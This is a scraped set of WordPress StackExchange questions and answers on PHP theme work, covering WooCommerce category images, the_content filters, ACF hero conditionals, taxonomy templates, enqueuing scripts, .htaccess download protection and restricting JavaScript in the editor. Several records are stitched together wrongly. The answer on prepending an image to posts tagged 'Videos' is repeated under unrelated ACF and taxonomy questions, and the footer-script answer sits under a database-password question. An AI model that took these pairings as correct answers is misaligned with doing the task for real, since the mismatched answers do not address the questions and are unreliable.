Thanks to you I tried this on my functions.php It worked, but also had to get the ID of the page, in my case 4. ``` add_action( 'woocommerce_before_main_content', 'woocommerce_category_image', 2 ); function woocommerce_category_image() { if ( is_product_category() ){ global $wp_query; $cat = $wp_query->get_queried_object(); $thumbnail_id = get_term_meta( $cat->term_id, 'thumbnail_id', true ); $image = wp_get_attachment_url( $thumbnail_id ); if ( $image ) { echo '<div class="category-image"><img src="' . $image . '" alt="' . $cat->name . '" /></div>'; } } if ( is_shop() ){ $target_post_id = '4'; $image = wp_get_attachment_url(get_post_thumbnail_id($target_post_id)); echo '<div class="category-image"><img src="' . $image. '" alt="' . $target_post_id->name . '" /></div>'; } } ```
285,209
<p>I've been working with a child theme and functions.php file to add an Image to the posts that have a specific Tag (<code>Videos</code> in the code). I was trying to create the function but I have some issues, one is that in the site, when I load a Post with that tag, it crashes, looks like it stays in a loop, and after that I have to manually delete all the repeated images (I just want one) from the posts in the database (PhpMyAdmin)</p> <p>Could you help me to solve the issue and have working code?</p> <p><strong>Important Update</strong>: I am using a RSS feed, and I require that Image to be in the feed too (I mean in the posts table database)</p> <p>Here is my code in <code>functions.php</code>:</p> <pre><code>/** * Prepend image to post if it has a specific tag * * @param String $content - WP Post Content for display * * @return String $content - WP Post Content for display */ function theme_videos_append_image( $content ) { global $post; // It would be easier if you got this URL from Attachment ID $upload_dir_arr = wp_upload_dir(); // Get upload directory array ( https://developer.wordpress.org/reference/functions/wp_upload_dir/#user-contributed-notes ) $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; // Ensure we are viewing a Post, and it has the Videos tag if( has_tag( 'Videos', $post-&gt;ID ) ) { $has_image = get_post_meta( $post-&gt;ID, '_video_image_added', true ); // Check if our postmeta exists // If is does not have our postmeta - add it if( empty( $has_image ) ) { $image = sprintf( '&lt;p&gt;&lt;img src="%1$s" alt="" class="img-responsive" /&gt;&lt;/p&gt;', $static_image_url ); // Create image $content = $image . $content; // prepend image // Update post so we don't need to add the image again $success = wp_update_post( array( 'ID' =&gt; $post-&gt;ID, 'post_content' =&gt; $image . $post-&gt;post_content, ) ); // If the post updated, create postmeta letting us know later it has the image if( false !== $success &amp;&amp; !is_wp_error( $success ) ) { update_post_meta( $post-&gt;ID, '_video_image_added', true ); } } } return $content; } add_filter( 'the_content', 'theme_videos_append_image' ); </code></pre>
[ { "answer_id": 285211, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 1, "selected": false, "text": "<p>Heres a more simple version of your function:</p>\n\n<pre><code>&lt;?php\n\n add_filter( 'the_content', 'theme...
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285209", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124577/" ]
I've been working with a child theme and functions.php file to add an Image to the posts that have a specific Tag (`Videos` in the code). I was trying to create the function but I have some issues, one is that in the site, when I load a Post with that tag, it crashes, looks like it stays in a loop, and after that I have to manually delete all the repeated images (I just want one) from the posts in the database (PhpMyAdmin) Could you help me to solve the issue and have working code? **Important Update**: I am using a RSS feed, and I require that Image to be in the feed too (I mean in the posts table database) Here is my code in `functions.php`: ``` /** * Prepend image to post if it has a specific tag * * @param String $content - WP Post Content for display * * @return String $content - WP Post Content for display */ function theme_videos_append_image( $content ) { global $post; // It would be easier if you got this URL from Attachment ID $upload_dir_arr = wp_upload_dir(); // Get upload directory array ( https://developer.wordpress.org/reference/functions/wp_upload_dir/#user-contributed-notes ) $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; // Ensure we are viewing a Post, and it has the Videos tag if( has_tag( 'Videos', $post->ID ) ) { $has_image = get_post_meta( $post->ID, '_video_image_added', true ); // Check if our postmeta exists // If is does not have our postmeta - add it if( empty( $has_image ) ) { $image = sprintf( '<p><img src="%1$s" alt="" class="img-responsive" /></p>', $static_image_url ); // Create image $content = $image . $content; // prepend image // Update post so we don't need to add the image again $success = wp_update_post( array( 'ID' => $post->ID, 'post_content' => $image . $post->post_content, ) ); // If the post updated, create postmeta letting us know later it has the image if( false !== $success && !is_wp_error( $success ) ) { update_post_meta( $post->ID, '_video_image_added', true ); } } } return $content; } add_filter( 'the_content', 'theme_videos_append_image' ); ```
Heres a more simple version of your function: ``` <?php add_filter( 'the_content', 'theme_videos_append_image' ); function theme_videos_append_image( $content ) { global $post; $upload_dir_arr = wp_upload_dir(); $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; $tag = '<p><img src="' . $static_image_url . '" alt="" class="img-responsive" /></p>'; return has_tag( 'Videos', $post->ID ) ? $tag . $content : $content; } ?> ``` Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me. The loop you've mentioned probably exists because in `wp_update_post` the `the_content` filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.
285,218
<p>I'm trying to build in a feature using ACF where a user picks an option to have the hero image change to one of three options. 1) A static hero image 2) A youtube video 3) A mp4 on loop. I have the backend end set up with a conditional to show which one depending on the option, however, I want the user to be able to select an option and have that option appear over the others. This is what I have so far:</p> <pre><code>&lt;?php if(get_field('hero_video', 'options') ) { $headervideo = get_field( 'hero_video', 'options' ); echo '&lt;div class="headervideo"&gt;' . $headervideo . '&lt;/div&gt;'; else if ( get_field( 'hero_upload', 'options' ) ) { $headerupload = get_field( 'hero_upload', 'options' ); echo '&lt;div class="hero-video" data-vide-bg="mp4: ' . $headerupload . '" data-vide-options="loop: true, muted: true"&gt; &lt;/div&gt;'; else ( get_field( 'header_image', 'options' ) ){ $headerimage = get_field( 'header_image', 'options' ); echo '&lt;img class="headerimage" src ="' . $headerimage['url'] . '" alt="' . $headerimage['alt'] . '" /&gt;'; } ?&gt; &lt;?php endif;?&gt; </code></pre> <p>Before I did this, I had just if statements. But if the user left an image in the image selection box, it would stay up. I'm trying to avoid that with this. The current error I get is "syntax error, unexpected 'else' (T_ELSE)" on line 6.</p>
[ { "answer_id": 285211, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 1, "selected": false, "text": "<p>Heres a more simple version of your function:</p>\n\n<pre><code>&lt;?php\n\n add_filter( 'the_content', 'theme...
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285218", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123891/" ]
I'm trying to build in a feature using ACF where a user picks an option to have the hero image change to one of three options. 1) A static hero image 2) A youtube video 3) A mp4 on loop. I have the backend end set up with a conditional to show which one depending on the option, however, I want the user to be able to select an option and have that option appear over the others. This is what I have so far: ``` <?php if(get_field('hero_video', 'options') ) { $headervideo = get_field( 'hero_video', 'options' ); echo '<div class="headervideo">' . $headervideo . '</div>'; else if ( get_field( 'hero_upload', 'options' ) ) { $headerupload = get_field( 'hero_upload', 'options' ); echo '<div class="hero-video" data-vide-bg="mp4: ' . $headerupload . '" data-vide-options="loop: true, muted: true"> </div>'; else ( get_field( 'header_image', 'options' ) ){ $headerimage = get_field( 'header_image', 'options' ); echo '<img class="headerimage" src ="' . $headerimage['url'] . '" alt="' . $headerimage['alt'] . '" />'; } ?> <?php endif;?> ``` Before I did this, I had just if statements. But if the user left an image in the image selection box, it would stay up. I'm trying to avoid that with this. The current error I get is "syntax error, unexpected 'else' (T\_ELSE)" on line 6.
Heres a more simple version of your function: ``` <?php add_filter( 'the_content', 'theme_videos_append_image' ); function theme_videos_append_image( $content ) { global $post; $upload_dir_arr = wp_upload_dir(); $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; $tag = '<p><img src="' . $static_image_url . '" alt="" class="img-responsive" /></p>'; return has_tag( 'Videos', $post->ID ) ? $tag . $content : $content; } ?> ``` Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me. The loop you've mentioned probably exists because in `wp_update_post` the `the_content` filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.
285,234
<p>I have a site with multiple custom taxonomies which are used for filtering posts.</p> <p>One of the taxonomies has a <code>taxonomy-%term%.php</code> template file.</p> <p><code>/?country=the_country</code> shows the country taxonomy template</p> <p>but <code>/?topic=the_topic&amp;country=the_country</code> uses the country taxonomy template as well.</p> <p>Is there a simple way to avoid loading the <code>taxonomy-country.php</code> template if more than one taxonomy is being queried?</p>
[ { "answer_id": 285211, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 1, "selected": false, "text": "<p>Heres a more simple version of your function:</p>\n\n<pre><code>&lt;?php\n\n add_filter( 'the_content', 'theme...
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285234", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123674/" ]
I have a site with multiple custom taxonomies which are used for filtering posts. One of the taxonomies has a `taxonomy-%term%.php` template file. `/?country=the_country` shows the country taxonomy template but `/?topic=the_topic&country=the_country` uses the country taxonomy template as well. Is there a simple way to avoid loading the `taxonomy-country.php` template if more than one taxonomy is being queried?
Heres a more simple version of your function: ``` <?php add_filter( 'the_content', 'theme_videos_append_image' ); function theme_videos_append_image( $content ) { global $post; $upload_dir_arr = wp_upload_dir(); $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; $tag = '<p><img src="' . $static_image_url . '" alt="" class="img-responsive" /></p>'; return has_tag( 'Videos', $post->ID ) ? $tag . $content : $content; } ?> ``` Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me. The loop you've mentioned probably exists because in `wp_update_post` the `the_content` filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.
285,265
<p>I have a script I want to place in my site's footer. It's not actually a file, just a single line of code (the script source is located at an external URL). So my question is, should I enqueue the script or just copy and paste it into the footer?</p>
[ { "answer_id": 285269, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 2, "selected": false, "text": "<p>See <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow norefer...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285265", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/68414/" ]
I have a script I want to place in my site's footer. It's not actually a file, just a single line of code (the script source is located at an external URL). So my question is, should I enqueue the script or just copy and paste it into the footer?
If you want to output a single line of javascript, you might not need to put it in a js file and go through enqueuing it and stuff. Simply output it by using the `wp_footer()` action hook: ``` add_action('wp_footer','print_my_script'); function print_my_script(){ echo '<script> // Your script here </script>'; } ``` However, this is good just for small scripts. For larger script and js files, use [`wp_enqueue_script()`](https://developer.wordpress.org/reference/functions/wp_enqueue_script/) instead.
285,275
<p>I have a domain with a subdomain. </p> <p>Each of those has a different install of WordPress.</p> <p>When I created the databases I made the following:</p> <p>Main Domain = database called: maindomain Sub Domain = database called: subdomain</p> <p>I applied the SAME database username to both databases....</p> <p>So all nice and simple....</p> <p>However, why is the Database Password the same?</p> <pre><code>/** MySQL database password */ define('DB_PASSWORD', 'passwordhere'); </code></pre> <p>When I reset the password for the database username (which I had forgotten) it made my main domain crash?</p> <p>So I guess my question is - have I just merged two databases together? Is that even possible?</p> <p>Hope thats clear!</p>
[ { "answer_id": 285269, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 2, "selected": false, "text": "<p>See <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow norefer...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285275", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/93691/" ]
I have a domain with a subdomain. Each of those has a different install of WordPress. When I created the databases I made the following: Main Domain = database called: maindomain Sub Domain = database called: subdomain I applied the SAME database username to both databases.... So all nice and simple.... However, why is the Database Password the same? ``` /** MySQL database password */ define('DB_PASSWORD', 'passwordhere'); ``` When I reset the password for the database username (which I had forgotten) it made my main domain crash? So I guess my question is - have I just merged two databases together? Is that even possible? Hope thats clear!
If you want to output a single line of javascript, you might not need to put it in a js file and go through enqueuing it and stuff. Simply output it by using the `wp_footer()` action hook: ``` add_action('wp_footer','print_my_script'); function print_my_script(){ echo '<script> // Your script here </script>'; } ``` However, this is good just for small scripts. For larger script and js files, use [`wp_enqueue_script()`](https://developer.wordpress.org/reference/functions/wp_enqueue_script/) instead.
285,296
<p>can you help me with little problem.</p> <p>I need to find a solution, how to redirect user to login page when he wants to download file over link in post content, so, I have some files and I want them to be available only for users that are logged in, otherwise they should be redirected on login page, for example I want to forbid access (download) for all files from wp-content folder, keep in mind that I have several of those folders in the root, I tried with <code>.htaccess</code> file file but its not working </p> <pre><code>RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://(www\.)?brt\.keezst\.com/ [NC] RewriteCond %{REQUEST_URI} !hotlink\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov) [NC] RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule .*\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov)$ http://brt.keezst.com/ [NC] </code></pre>
[ { "answer_id": 285299, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 2, "selected": false, "text": "<p>I wouldn't use htaccess for that.</p>\n\n<p>What I would do is make a 'download page' templa...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285296", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/121777/" ]
can you help me with little problem. I need to find a solution, how to redirect user to login page when he wants to download file over link in post content, so, I have some files and I want them to be available only for users that are logged in, otherwise they should be redirected on login page, for example I want to forbid access (download) for all files from wp-content folder, keep in mind that I have several of those folders in the root, I tried with `.htaccess` file file but its not working ``` RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://(www\.)?brt\.keezst\.com/ [NC] RewriteCond %{REQUEST_URI} !hotlink\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov) [NC] RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule .*\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov)$ http://brt.keezst.com/ [NC] ```
Thanks to [Marcelo Henriques](https://wordpress.stackexchange.com/users/44437/marcelo-henriques-cortez) answer i figured out how to make this work with `.htaccess` file and here is the code: ``` RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} ^.*(mp3|m4a|pdf|doc|xlsx|docx|xls)$ RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule (.*) http://website.com/login/ ``` place .htaccess file in folder you want to protect from non registered users and it will do the job, last line is redirect. So, if you want to protect file access over anchor link, from specific folder (uploads/media) make .htaccess file inside folder and paste this code. If you want just `403`(forbiden) change `RewriteRule (.*) http://website.com/login/` with `[R=403,L]`
285,333
<p>I am trying to prevent from Cross Site Scripting vulnerabilities. For that I have to make sure that it is not possible to insert JavaScript code directly via the editing functionality on Text editor. I want to be able to add only HTML and CSS content on text editor. have you an idea how to disable javascript code insertion in the wordpress text editor? Thanks.</p>
[ { "answer_id": 285340, "author": "TurtleTread", "author_id": 117263, "author_profile": "https://wordpress.stackexchange.com/users/117263", "pm_score": 0, "selected": false, "text": "<p>Hook into <code>wp_insert_post_data</code> to either filter out <code>&lt;script&gt;</code> content or ...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285333", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119785/" ]
I am trying to prevent from Cross Site Scripting vulnerabilities. For that I have to make sure that it is not possible to insert JavaScript code directly via the editing functionality on Text editor. I want to be able to add only HTML and CSS content on text editor. have you an idea how to disable javascript code insertion in the wordpress text editor? Thanks.
WordPress already disallows the use of JavaScript in the editor for users without the `unfiltered_html` capability. By default, [only the Administrator and Editor roles](https://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table) have this capability. If necessary, you could remove this capability from Editor users as well. (It doesn't make sense to remove it from Administrators, because they will still have the ability to install plugins, and thus execute whatever kind of code they want to.) This code should do that for you: ``` function wpse_285333_remove_unfiltered_html_cap() { $wp_roles = wp_roles(); $wp_roles->remove_cap( 'editor', 'unfiltered_html' ); } // This function actually only needs to run once, so you can comment this out // after loading the site once. add_action( 'init', 'wpse_285333_remove_unfiltered_html_cap', 5 ); ``` There are also plugins available to help with managing roles and capabilities.
285,334
<p>We have a totally custom theme that we have built in house, recently the WordPress updater has started saying the theme is out of date. </p> <p><a href="https://i.stack.imgur.com/e3FvV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/e3FvV.png" alt="Update suggestion"></a></p> <p>When I investigated this supposed update it links me to a similarly named theme in the WordPress theme directory but one that is not developed by us.</p> <p><a href="https://i.stack.imgur.com/Gu040.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Gu040.png" alt="Theme"></a></p> <p>We normally update our themes manually either through the filesystem or FTP. We have never submitted our theme to the WordPress directory nor do we have a mechanism or infrastructure to allow our themes to "phone home" to check for updates.</p> <p>What is going on here? How do I stop it misreporting the theme update? I really want to stop this behaviour to prevent an over eager customer trying to update the theme to this one and breaking their site.</p>
[ { "answer_id": 285341, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 1, "selected": false, "text": "<p>WordPress infrastructure and default core code assumptions are really <em>really</em> unfriendly to private bespoke...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285334", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62753/" ]
We have a totally custom theme that we have built in house, recently the WordPress updater has started saying the theme is out of date. [![Update suggestion](https://i.stack.imgur.com/e3FvV.png)](https://i.stack.imgur.com/e3FvV.png) When I investigated this supposed update it links me to a similarly named theme in the WordPress theme directory but one that is not developed by us. [![Theme](https://i.stack.imgur.com/Gu040.png)](https://i.stack.imgur.com/Gu040.png) We normally update our themes manually either through the filesystem or FTP. We have never submitted our theme to the WordPress directory nor do we have a mechanism or infrastructure to allow our themes to "phone home" to check for updates. What is going on here? How do I stop it misreporting the theme update? I really want to stop this behaviour to prevent an over eager customer trying to update the theme to this one and breaking their site.
When it comes to developing your own stuff, it is always the best to make the code yours too, not just the copyright and such. As @Rarst already pointed out, the first thing to check if the theme's folder. I faced the same issue before and changing the theme's folder fixed the issue for me. But for future goods, you should start prefixing your code. It means that you should prefix your theme's name, functions, classes, etc ... by your or your company's name. It's less likely if someone ever will publish a theme named `burgi-professional`, but a general name such as `professional` may exist anytime. This also applies to class names and functions to. Prefix your functions like this: ``` function burgi_get_theme_options( ){ ... } ``` So there is a lower chance of running into such issues. Same goes for CSS classes, and HTML ID attributes.
285,350
<p>I'm currently working on creating my own templates with custom content to my wordpress site.</p> <p>But I'm now struggling with getting the get_header(); function to work? </p> <p>THIS IS WHAT I'M CALLING </p> <pre><code>&lt;?php /** * Template Name: Register fangst * * @package WordPress * @subpackage Salient * @since Salient-child */ get_header(); ?&gt; &lt;?php if ( ! is_user_logged_in() ) { ?&gt; &lt;h3&gt;DU er ikke logget ind&lt;/h3&gt; &lt;h4&gt;så du kan ikke registre nogle registreringer&lt;/h4&gt; &lt;a href="riverfisher/login"&gt;login her&lt;/a&gt; &lt;?php } else { ?&gt; &lt;div class="wrapper"&gt; &lt;?php global $wpdb; require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); if ( isset( $_POST['submit'] ) ){ $current_user = wp_get_current_user(); $time = trim ( $_POST['dato'] ); $attachment_id = media_handle_upload( 'file-upload', $_POST['billedeURL'] ); $attachment_url = wp_get_attachment_url($attachment_id); $fiske_vaegt = $_POST['fiske_vaegt']; $fiske_laengde = trim( $_POST['fiske_laengde'] ); $redskabsID = absint( $_POST['reg_redskabs_id'] ); $koenID = absint( $_POST['reg_koen_id'] ); $fiskID = absint( $_POST['reg_fisk_id'] ); $crID = absint( $_POST['reg_cr_id'] ); $laksID = absint( $_POST['reg_laks_id'] ); $registrering = $wpdb-&gt;insert( $wpdb-&gt;prefix . 'registreringer', array( 'reg_id' =&gt; '', 'dato' =&gt; $time, 'billedeURL' =&gt; $attachment_url, 'fiske_vaegt' =&gt; $fiske_vaegt, 'fiske_laengde' =&gt; $fiske_laengde, 'reg_user_id' =&gt; $current_user-&gt;ID, 'reg_redskabs_id' =&gt; $redskabsID, 'reg_koen_id' =&gt; $koenID, 'reg_fisk_id' =&gt; $fiskID, 'reg_cr_id' =&gt; $crID, 'reg_laks_id' =&gt; $laksID ), array( '%d', '%s', '%s', '%f', '%d', '%d', '%d', '%d', '%d', '%d', '%d' ) ); } ?&gt; &lt;form method="post" enctype="multipart/form-data"&gt; &lt;h3&gt;Registering af din fangst&lt;/h3&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;længden&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="number" name="fiske_laengde" id="fiske_laengde" /&gt;cm&lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;vægten&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="number" step="any" placeholder="vægt i kg f.eks. 12.3" name="fiske_vaegt" id="fiske_vaegt" /&gt;kg&lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Vælg billede:&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="file" name="file-upload" id="file-upload"&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;dato&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="date" name="dato" value=" &lt;?php $time = new DateTime; echo $time-&gt;format("d-m-Y"); ?&gt;"/&gt; &lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Fangst udstyr&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $redskab = $wpdb-&gt;get_results( "SELECT * FROM `wp_redskaber`" ); foreach ( $redskab as $redskaber ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_redskabs_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $redskaber-&gt;redskabs_id), $redskaber-&gt;redskabs_navn ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Vælg fiskeart&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $fisk = $wpdb-&gt;get_results( "SELECT * FROM `wp_fiskearter`" ); foreach ( $fisk as $valgfisk ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_fisk_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $valgfisk-&gt;fisk_id), $valgfisk-&gt;fiske_navn ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Hvilket køn har fisken&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $koen = $wpdb-&gt;get_results( "SELECT * FROM `wp_koen`" ); foreach ( $koen as $valgkoen ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_koen_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $valgkoen-&gt;koen_id), $valgkoen-&gt;koen ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Catch / release&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $cr = $wpdb-&gt;get_results( "SELECT * FROM `wp_cr`" ); foreach ( $cr as $valgcr ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_cr_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $valgcr-&gt;cr_id), $valgcr-&gt;cr_type ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Vælg en lakseplads&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;select name="reg_laks_id"&gt; &lt;option disabled selected value&gt; -- Vælg en lakseplads -- &lt;/option&gt; &lt;?php $lakseplads = $wpdb-&gt;get_results( "SELECT * FROM `wp_laksepladser`" ); foreach ( $lakseplads as $valgplads ) { echo sprintf( '&lt;option value="%s"&gt; %s&lt;/option&gt;', esc_attr( $valgplads-&gt;laksepladser_id), $valgplads-&gt;laksepladser_navn ); } ?&gt; &lt;/select&gt;&lt;br&gt; &lt;button type="submit" name="btnregister" class="button" &gt;Submit&lt;/button&gt; &lt;input type="hidden" name="submit" value="submit" /&gt; &lt;?php } echo "&lt;pre&gt;"; var_dump($_POST); exit; ?&gt; &lt;/form&gt; &lt;/div&gt; &lt;?php get_footer();?&gt; </code></pre> <p>As you can see it seems like something is going on but the little AJAX loading icon just keeps spinning for me ? <a href="https://i.stack.imgur.com/gLeiF.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gLeiF.png" alt="Screenshot"></a></p> <p>Do you need to know anymore information to help me with this ?</p> <p>EDIT:</p> <p>page.php looks like this:</p> <pre><code>&lt;?php get_header(); nectar_page_header($post-&gt;ID); //full page $fp_options = nectar_get_full_page_options(); extract($fp_options); ?&gt; &lt;?php get_footer(); ?&gt; </code></pre>
[ { "answer_id": 285352, "author": "ghoul", "author_id": 131136, "author_profile": "https://wordpress.stackexchange.com/users/131136", "pm_score": 1, "selected": false, "text": "<p>First turn on debuggin by dropping the following code in your wp-config.php file </p>\n\n<pre><code>define( '...
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285350", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129518/" ]
I'm currently working on creating my own templates with custom content to my wordpress site. But I'm now struggling with getting the get\_header(); function to work? THIS IS WHAT I'M CALLING ``` <?php /** * Template Name: Register fangst * * @package WordPress * @subpackage Salient * @since Salient-child */ get_header(); ?> <?php if ( ! is_user_logged_in() ) { ?> <h3>DU er ikke logget ind</h3> <h4>så du kan ikke registre nogle registreringer</h4> <a href="riverfisher/login">login her</a> <?php } else { ?> <div class="wrapper"> <?php global $wpdb; require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); if ( isset( $_POST['submit'] ) ){ $current_user = wp_get_current_user(); $time = trim ( $_POST['dato'] ); $attachment_id = media_handle_upload( 'file-upload', $_POST['billedeURL'] ); $attachment_url = wp_get_attachment_url($attachment_id); $fiske_vaegt = $_POST['fiske_vaegt']; $fiske_laengde = trim( $_POST['fiske_laengde'] ); $redskabsID = absint( $_POST['reg_redskabs_id'] ); $koenID = absint( $_POST['reg_koen_id'] ); $fiskID = absint( $_POST['reg_fisk_id'] ); $crID = absint( $_POST['reg_cr_id'] ); $laksID = absint( $_POST['reg_laks_id'] ); $registrering = $wpdb->insert( $wpdb->prefix . 'registreringer', array( 'reg_id' => '', 'dato' => $time, 'billedeURL' => $attachment_url, 'fiske_vaegt' => $fiske_vaegt, 'fiske_laengde' => $fiske_laengde, 'reg_user_id' => $current_user->ID, 'reg_redskabs_id' => $redskabsID, 'reg_koen_id' => $koenID, 'reg_fisk_id' => $fiskID, 'reg_cr_id' => $crID, 'reg_laks_id' => $laksID ), array( '%d', '%s', '%s', '%f', '%d', '%d', '%d', '%d', '%d', '%d', '%d' ) ); } ?> <form method="post" enctype="multipart/form-data"> <h3>Registering af din fangst</h3> <p><label><strong>længden</strong></label></p> <p><input type="number" name="fiske_laengde" id="fiske_laengde" />cm</p> <p><label><strong>vægten</strong></label></p> <p><input type="number" step="any" placeholder="vægt i kg f.eks. 12.3" name="fiske_vaegt" id="fiske_vaegt" />kg</p> <p><label><strong>Vælg billede:</strong></label></p> <p><input type="file" name="file-upload" id="file-upload"></p> <p><label><strong>dato</strong></label></p> <p><input type="date" name="dato" value=" <?php $time = new DateTime; echo $time->format("d-m-Y"); ?>"/> </p> <p><label><strong>Fangst udstyr</strong></label></p> <?php $redskab = $wpdb->get_results( "SELECT * FROM `wp_redskaber`" ); foreach ( $redskab as $redskaber ) { echo sprintf( '<label><input type="radio" name="reg_redskabs_id" value="%s"> %s</label><br>', esc_attr( $redskaber->redskabs_id), $redskaber->redskabs_navn ); } ?> <p><label><strong>Vælg fiskeart</strong></label></p> <?php $fisk = $wpdb->get_results( "SELECT * FROM `wp_fiskearter`" ); foreach ( $fisk as $valgfisk ) { echo sprintf( '<label><input type="radio" name="reg_fisk_id" value="%s"> %s</label><br>', esc_attr( $valgfisk->fisk_id), $valgfisk->fiske_navn ); } ?> <p><label><strong>Hvilket køn har fisken</strong></label></p> <?php $koen = $wpdb->get_results( "SELECT * FROM `wp_koen`" ); foreach ( $koen as $valgkoen ) { echo sprintf( '<label><input type="radio" name="reg_koen_id" value="%s"> %s</label><br>', esc_attr( $valgkoen->koen_id), $valgkoen->koen ); } ?> <p><label><strong>Catch / release</strong></label></p> <?php $cr = $wpdb->get_results( "SELECT * FROM `wp_cr`" ); foreach ( $cr as $valgcr ) { echo sprintf( '<label><input type="radio" name="reg_cr_id" value="%s"> %s</label><br>', esc_attr( $valgcr->cr_id), $valgcr->cr_type ); } ?> <p><label><strong>Vælg en lakseplads</strong></label></p> <select name="reg_laks_id"> <option disabled selected value> -- Vælg en lakseplads -- </option> <?php $lakseplads = $wpdb->get_results( "SELECT * FROM `wp_laksepladser`" ); foreach ( $lakseplads as $valgplads ) { echo sprintf( '<option value="%s"> %s</option>', esc_attr( $valgplads->laksepladser_id), $valgplads->laksepladser_navn ); } ?> </select><br> <button type="submit" name="btnregister" class="button" >Submit</button> <input type="hidden" name="submit" value="submit" /> <?php } echo "<pre>"; var_dump($_POST); exit; ?> </form> </div> <?php get_footer();?> ``` 